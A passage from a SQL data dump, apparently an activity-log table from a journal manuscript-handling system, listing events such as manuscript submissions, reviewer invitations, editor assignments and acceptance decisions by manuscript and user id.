00:00:00','Editor has Invited Reviewer',9521,'Editor',160),(91121,'0000-00-00 00:00:00','Manuscript Submitted by Author',9637,'Author',9871),(91124,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',9639,'Author',10494),(91125,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',9640,'Author',10495),(91126,'0000-00-00 00:00:00','Manuscript Submitted by Author',9641,'Author',10495),(91136,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8864,'Publisher',988),(91137,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8864,'Publisher',988),(91165,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9538,'Publisher',673),(91166,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9538,'Publisher',673),(91167,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9538,'Publisher',673),(91168,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9538,'Publisher',673),(91169,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9538,'Publisher',673),(91170,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9538,'Publisher',673),(91171,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9538,'Publisher',673),(91174,'0000-00-00 00:00:00','Reviewer has submitted comments',9411,'Reviewer',18830),(91181,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9580,'Publisher',988),(91182,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9580,'Publisher',988),(91183,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9580,'Publisher',988),(91184,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9580,'Publisher',988),(91224,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',9647,'Publisher',248),(91266,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',9650,'Publisher',84),(91272,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',9651,'Publisher',84),(91294,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9210,'Publisher',85),(91295,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9210,'Publisher',85),(91296,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9210,'Publisher',85),(91297,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9210,'Publisher',85),(91298,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9210,'Publisher',85),(91299,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9210,'Publisher',85),(91300,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9210,'Publisher',85),(91301,'0000-00-00 00:00:00','Reviewer has been sent email to Publisher',9210,'Reviewer',19255),(91303,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9210,'Publisher',85),(91304,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9210,'Publisher',85),(91305,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9210,'Publisher',85),(91306,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9210,'Publisher',85),(91307,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9210,'Publisher',85),(91308,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9210,'Publisher',85),(91309,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9210,'Publisher',85),(91310,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9210,'Publisher',85),(91311,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9210,'Publisher',85),(91312,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9210,'Publisher',85),(91335,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9210,'Publisher',85),(91336,'0000-00-00 00:00:00','Publisher : Notified Editor',9381,'Publisher',85),(91337,'0000-00-00 00:00:00','Publisher : Notified Editor',9303,'Publisher',85),(91340,'0000-00-00 00:00:00','Reviewer has submitted comments',9233,'Reviewer',11689),(91341,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9233,'Editor',194),(91342,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',9233,'',1045),(91343,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',9233,'',1045),(91344,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9611,'Publisher',48),(91356,'0000-00-00 00:00:00','Author sent Email',8043,'Author',9222),(91357,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9611,'Publisher',48),(91358,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9611,'Publisher',48),(91359,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9611,'Publisher',48),(91363,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',9663,'Publisher',988),(91366,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',9664,'Publisher',988),(91369,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',9665,'Publisher',988),(91372,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',9409,'Publisher',988),(91373,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',9410,'Publisher',988),(91374,'0000-00-00 00:00:00','Publisher : Notified Editor',9411,'Publisher',988),(91375,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9411,'Editor',1410),(91376,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9411,'Editor',1410),(91377,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',9411,'Publisher',988),(91378,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',9411,'Publisher',988),(91424,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9173,'Editor',194),(91425,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9173,'Editor',194),(91426,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9172,'Editor',194),(91427,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9172,'Editor',194),(91428,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9171,'Editor',194),(91429,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9171,'Editor',194),(91430,'0000-00-00 00:00:00','Editor has been Revise (Notify Author) article',9172,'Editor',194),(91431,'0000-00-00 00:00:00','Editor has been Revise (Notify Author) article',9171,'Editor',194),(91432,'0000-00-00 00:00:00','Publisher : Notified Author',9172,'Publisher',48),(91433,'0000-00-00 00:00:00','Publisher : Notified Author',9171,'Publisher',48),(91434,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',9173,'Publisher',48),(91436,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',9331,'Publisher',48),(91448,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9627,'Publisher',48),(91449,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9627,'Publisher',48),(91450,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9627,'Publisher',48),(91451,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9627,'Publisher',48),(91452,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9627,'Publisher',48),(91475,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8239,'Editor',1370),(91476,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8239,'Editor',1370),(91478,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8239,'Publisher',673),(91482,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9517,'Publisher',85),(91483,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9517,'Publisher',85),(91484,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9517,'Publisher',85),(91485,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9517,'Publisher',85),(91486,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9517,'Publisher',85),(91487,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9517,'Publisher',85),(91488,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9517,'Publisher',85),(91489,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9517,'Publisher',85),(91490,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9517,'Publisher',85),(91491,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9517,'Publisher',85),(91492,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9517,'Publisher',85),(91493,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9517,'Publisher',85),(91494,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9517,'Publisher',85),(91495,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9517,'Publisher',85),(91597,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9639,'Publisher',274),(91598,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9640,'Publisher',274),(91599,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9641,'Publisher',274),(91600,'0000-00-00 00:00:00','Publisher : Notified Author',9340,'Publisher',274),(91601,'0000-00-00 00:00:00','Publisher : Notified Author',9340,'Publisher',274),(91692,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9647,'Publisher',248),(91693,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9647,'Editor',1674),(91694,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9647,'Editor',1674),(91703,'0000-00-00 00:00:00','Reviewer has submitted comments',9210,'Reviewer',15586),(91720,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9650,'Publisher',84),(91721,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9650,'Publisher',84),(91722,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9650,'Publisher',84),(91723,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9650,'Publisher',84),(91724,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9650,'Publisher',84),(91725,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9650,'Publisher',84),(91726,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9650,'Publisher',84),(91727,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9650,'Publisher',84),(91728,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9650,'Publisher',84),(91729,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9650,'Publisher',84),(91730,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9650,'Publisher',84),(91731,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9650,'Publisher',84),(91755,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',9713,'Publisher',248),(91814,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9303,'Editor',1394),(91819,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9303,'Editor',1394),(91832,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9517,'Publisher',85),(91835,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9517,'Publisher',85),(91836,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9517,'Publisher',85),(91837,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9517,'Publisher',85),(91838,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9517,'Publisher',85),(91839,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9517,'Publisher',85),(91840,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9517,'Publisher',85),(91841,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9517,'Publisher',85),(91842,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9517,'Publisher',85),(91843,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9517,'Publisher',85),(91844,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9517,'Publisher',85),(91845,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9517,'Publisher',85),(91846,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9517,'Publisher',85),(91859,'0000-00-00 00:00:00','Reviewer has submitted comments',9537,'Reviewer',18838),(91861,'0000-00-00 00:00:00','Publisher : Notified Editor',9537,'Publisher',988),(91865,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9537,'Editor',1410),(91869,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9537,'Editor',1410),(91874,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',9537,'Publisher',988),(91880,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',9537,'Publisher',988),(91952,'0000-00-00 00:00:00','Reviewer has submitted comments',9650,'Reviewer',16023),(91956,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9650,'Editor',222),(91957,'0000-00-00 00:00:00','Reviewer has submitted comments',9580,'Reviewer',18830),(91958,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9650,'Editor',222),(91959,'0000-00-00 00:00:00','Publisher : Notified Editor',9580,'Publisher',988),(91960,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9580,'Editor',1410),(91961,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9580,'Editor',1410),(91962,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',9580,'Publisher',988),(91963,'0000-00-00 00:00:00','Publisher : Notified Editor',9408,'Publisher',988),(91964,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9408,'Editor',1410),(91965,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9408,'Editor',1410),(91966,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',9408,'Publisher',988),(92082,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',9743,'Publisher',319),(92094,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',9744,'Publisher',319),(92095,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',9745,'Publisher',319),(92096,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9665,'Publisher',988),(92097,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9664,'Publisher',988),(92098,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9663,'Publisher',988),(92101,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9538,'Publisher',673),(92102,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9538,'Publisher',673),(92103,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9538,'Publisher',673),(92104,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9538,'Publisher',673),(92105,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9538,'Publisher',673),(92106,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9538,'Publisher',673),(92107,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9538,'Publisher',673),(92108,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9538,'Publisher',673),(92109,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9538,'Publisher',673),(92110,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9538,'Publisher',673),(92111,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9538,'Publisher',673),(92112,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9538,'Publisher',673),(92113,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9538,'Publisher',673),(92114,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9538,'Publisher',673),(92115,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9538,'Publisher',673),(92123,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',9303,'Publisher',85),(92125,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',9303,'Publisher',85),(92126,'0000-00-00 00:00:00','Publisher : Notified Editor',9210,'Publisher',85),(92130,'0000-00-00 00:00:00','Manuscript Submitted by Author',9752,'Author',8562),(92131,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',9753,'Author',10578),(92134,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9651,'Publisher',84),(92189,'0000-00-00 00:00:00','Editor has been Revise (Notify Author) article',9210,'Editor',1393),(92191,'0000-00-00 00:00:00','Publisher : Notified Author',9210,'Publisher',85),(92192,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9517,'Publisher',85),(92193,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9517,'Publisher',85),(92194,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9517,'Publisher',85),(92211,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9651,'Publisher',84),(92212,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9651,'Publisher',84),(92213,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9651,'Publisher',84),(92214,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9651,'Publisher',84),(92215,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9651,'Publisher',84),(92216,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9651,'Publisher',84),(92217,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9651,'Publisher',84),(92218,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9651,'Publisher',84),(92219,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9651,'Publisher',84),(92220,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9651,'Publisher',84),(92221,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9651,'Publisher',84),(92222,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9651,'Publisher',84),(92223,'0000-00-00 00:00:00','Reviewer has submitted comments',9651,'Reviewer',16023),(92225,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9651,'Editor',222),(92226,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9651,'Editor',222),(92229,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9665,'Publisher',988),(92230,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9665,'Publisher',988),(92231,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9665,'Publisher',988),(92232,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9664,'Publisher',988),(92233,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9664,'Publisher',988),(92234,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9664,'Publisher',988),(92235,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9663,'Publisher',988),(92236,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9663,'Publisher',988),(92237,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9663,'Publisher',988),(92238,'0000-00-00 00:00:00','Manuscript Updated',9665,'Publisher',988),(92239,'0000-00-00 00:00:00','Manuscript Updated',9664,'Publisher',988),(92240,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',9651,'Publisher',84),(92271,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',9770,'Publisher',248),(92300,'0000-00-00 00:00:00','Manuscript Submitted by Author',9772,'Author',10594),(92341,'0000-00-00 00:00:00','Reviewer has submitted comments',9665,'Reviewer',18838),(92344,'0000-00-00 00:00:00','Reviewer has submitted comments',9664,'Reviewer',18830),(92351,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9665,'Publisher',988),(92352,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9664,'Publisher',988),(92355,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9713,'Publisher',248),(92386,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7559,'Editor',162),(92387,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7559,'Publisher',75),(92400,'0000-00-00 00:00:00','Manuscript Submitted by Author',9775,'Author',9953),(92415,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8521,'Publisher',673),(92417,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8396,'Publisher',673),(92419,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8521,'Publisher',673),(92420,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8396,'Publisher',673),(92425,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',8253,'Publisher',84),(92426,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',8917,'Publisher',84),(92432,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8441,'Publisher',84),(92501,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9743,'Publisher',319),(92584,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9398,'Publisher',48),(92585,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9394,'Publisher',48),(92599,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9398,'Editor',194),(92600,'0000-00-00 00:00:00','Publisher has Unassign Editor',9398,'Publisher',48),(92602,'0000-00-00 00:00:00','Publisher has Unassign Editor',9394,'Publisher',48),(92604,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9398,'Publisher',48),(92605,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9398,'Publisher',48),(92610,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9394,'Publisher',48),(92611,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9394,'Publisher',48),(92612,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9394,'Publisher',48),(92613,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9394,'Publisher',48),(92614,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9394,'Publisher',48),(92617,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9502,'Publisher',376),(92618,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9502,'Editor',1705),(92619,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9502,'Editor',1705),(92653,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8634,'Publisher',84),(92658,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9641,'Publisher',274),(92659,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9641,'Publisher',274),(92660,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9641,'Publisher',274),(92661,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9641,'Publisher',274),(92662,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9641,'Publisher',274),(92663,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9640,'Publisher',274),(92664,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9640,'Publisher',274),(92665,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9640,'Publisher',274),(92666,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9640,'Publisher',274),(92667,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9640,'Publisher',274),(92668,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9639,'Publisher',274),(92669,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9639,'Publisher',274),(92670,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9639,'Publisher',274),(92671,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9639,'Publisher',274),(92672,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9639,'Publisher',274),(92673,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9753,'',1045),(92674,'0000-00-00 00:00:00','Manuscript Submitted by Author',9800,'Author',10195),(92677,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7559,'Publisher',75),(92678,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7559,'Publisher',75),(92679,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8147,'Editor',161),(92680,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',8147,'Publisher',75),(92681,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8147,'Publisher',75),(92682,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',9801,'Author',10620),(92690,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9398,'Publisher',48),(92692,'0000-00-00 00:00:00','Reviewer has submitted comments',9398,'Reviewer',18592),(92693,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9398,'Editor',194),(92694,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9398,'Editor',194),(92695,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',9398,'Publisher',48),(92734,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9770,'Publisher',248),(92743,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9210,'Editor',1393),(92746,'0000-00-00 00:00:00','Reviewer has submitted comments',9641,'Reviewer',12022),(92772,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8135,'',1050),(92805,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9770,'Editor',1674),(92806,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9713,'Editor',1674),(92807,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9770,'Editor',1674),(92808,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9713,'Editor',1674),(92810,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',9811,'Author',10627),(92811,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9745,'Publisher',319),(92812,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9744,'Publisher',319),(92813,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',9158,'Publisher',645),(92833,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',9813,'Author',10630),(92861,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8135,'Editor',161),(92862,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8135,'Editor',161),(92868,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',8135,'',1050),(92870,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8135,'',1050),(92871,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9110,'Editor',162),(92872,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9110,'Editor',162),(92873,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',9110,'Publisher',75),(92874,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',9110,'Publisher',75),(92899,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9775,'Publisher',84),(92900,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9775,'Publisher',84),(92901,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9775,'Publisher',84),(92902,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9775,'Publisher',84),(92903,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9775,'Publisher',84),(92904,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9775,'Publisher',84),(92905,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9775,'Publisher',84),(92906,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9775,'Publisher',84),(92907,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9775,'Publisher',84),(92908,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9775,'Publisher',84),(92909,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9775,'Publisher',84),(92911,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',9815,'Publisher',84),(92967,'0000-00-00 00:00:00','Reviewer has updated comments',9663,'Reviewer',15663),(92968,'0000-00-00 00:00:00','Reviewer has updated comments',9663,'Reviewer',15663),(92971,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',9819,'Author',10635),(92973,'0000-00-00 00:00:00','Reviewer has been sent email to Publisher',9640,'Reviewer',17681),(93005,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9801,'Publisher',75),(93006,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9800,'Publisher',75),(93084,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7696,'Editor',161),(93085,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7696,'Publisher',75),(93105,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8073,'Publisher',48),(93106,'0000-00-00 00:00:00','Publisher : Notified Editor',9641,'Publisher',274),(93107,'0000-00-00 00:00:00','Reviewer has submitted comments',8073,'Reviewer',11689),(93108,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8073,'Editor',194),(93109,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8073,'Editor',194),(93110,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8073,'Publisher',48),(93111,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8073,'Publisher',48),(93128,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9813,'Publisher',48),(93143,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8076,'Publisher',48),(93144,'0000-00-00 00:00:00','Reviewer has submitted comments',8076,'Reviewer',11689),(93145,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8076,'Editor',194),(93146,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8076,'Publisher',48),(93147,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8076,'Publisher',48),(93154,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',9856,'Publisher',319),(93155,'0000-00-00 00:00:00','Manuscript Updated',9743,'Publisher',319),(93157,'0000-00-00 00:00:00','Manuscript Updated',9745,'Publisher',319),(93172,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9819,'Publisher',75),(93176,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9472,'Publisher',274),(93177,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9472,'Publisher',274),(93178,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9472,'Publisher',274),(93179,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9472,'Publisher',274),(93180,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9472,'Publisher',274),(93181,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9641,'Editor',1659),(93182,'0000-00-00 00:00:00','Editor has been Revise (Notify Author) article',9641,'Editor',1659),(93183,'0000-00-00 00:00:00','Publisher : Notified Author',9641,'Publisher',274),(93221,'0000-00-00 00:00:00','Reviewer has submitted comments',9517,'Reviewer',15586),(93224,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9815,'Publisher',84),(93226,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9772,'Publisher',972),(93246,'0000-00-00 00:00:00','Manuscript has been Revised',9641,'Author',10495),(93260,'0000-00-00 00:00:00','Manuscript has been Revised',9641,'Author',10495),(93262,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9801,'Publisher',75),(93263,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9801,'Publisher',75),(93264,'0000-00-00 00:00:00','Publisher has 